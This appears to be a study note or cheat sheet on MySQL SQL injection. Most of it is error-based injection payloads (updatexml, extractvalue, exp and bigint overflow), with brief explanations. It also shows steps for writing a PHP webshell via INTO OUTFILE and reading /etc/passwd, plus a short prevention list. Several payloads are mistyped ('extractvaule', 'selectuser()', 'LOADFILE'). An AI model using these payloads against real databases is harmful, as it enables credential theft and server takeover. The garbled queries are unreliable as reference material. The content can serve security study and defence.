SQL Injection is a kind of vulnerability that allows attackers to insert some codes into original SQL statements to trigger some evil function, such as dumping the database or writing
Types
- Error-based injection
- Union-based injection
- Stacked injection
- Blind injection
- Boolean-based injection
- Time-based injection
Examples
Error-based Injection
(1) floor(rand(0)*2)
SELECT COUNT(*),concat(0x3a,0x3a,database()),0x3a,0x3a,floor(rand(0)*2)name FROM information_schema.tables;
Principle: The result floor(rand(0)*2)
floor(rand(0)*2)
will be executed two times, one of which during judgment whether the related result should be put into the virtual result table, while another one happens when the result of flood(rand(0)*2)
is being put into the virtual result table. (1. Should or not; 2. What should be put in)
(2) updatexml()
SELECT * FROM users WHERE id=1 AND updatexml(null,concat(0x3a,(SELECT user())),null);
Principle: The second parameter updatexml()
updatexml(xml_target, xpath_expr, new_xml)
(3) extractvaule()
SELECT * FROM users WHERE id = 1 AND (extractvalue(1, concat(0x5c,(selectuser()))))l
(4) Overflow exp()
SELECT * FROM users WHERE id =1 and EXP(~(SELECT * from(SELECT user())a));
(5) Overflow bigint()
# Big int: 1-~0 -> overflow SELECT !(SELECT * FROM(SELECT user())x); # The result is `1`. `1-~0` will result in overflow. SELECT 'a' FROM users where id=0 UNION SELECT !(SELECT * FROM(SELECT user())x)-~0;
(6) Replication
SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1))x; # It seems does not work.
(7) Misc
GeometryCollection() polygon() multipoint() multilinestring() linestring() multipolygon()
How To Utilize It
- Dumping the database. (password of administrators);
- Writing file. (write PHP
webshell into the web server directory –SELECT 'zhz' INTO OUTFILE('/var/www/html/backdoor.php')
); - Read file. (read sensitive files such as configuration files –
SELECT LOADFILE('/etc/passwd')
). - Second-order SQL injection.
Prevention
- Filter keywors and symbols, sanitize the input. (Keywords such as
UNION
,SELECT
,FROM
,OR
,AND
, or Using GPC) - Parameterized queries. (Pre-compile the SQL statement)
- Defend in depth. (Check the content of information flow between components on servers)
Interesting Payloads Collection
mysql> describe extended (select 1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)); $ ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~' mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1)); mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1)); # Only works on MySQL 8.0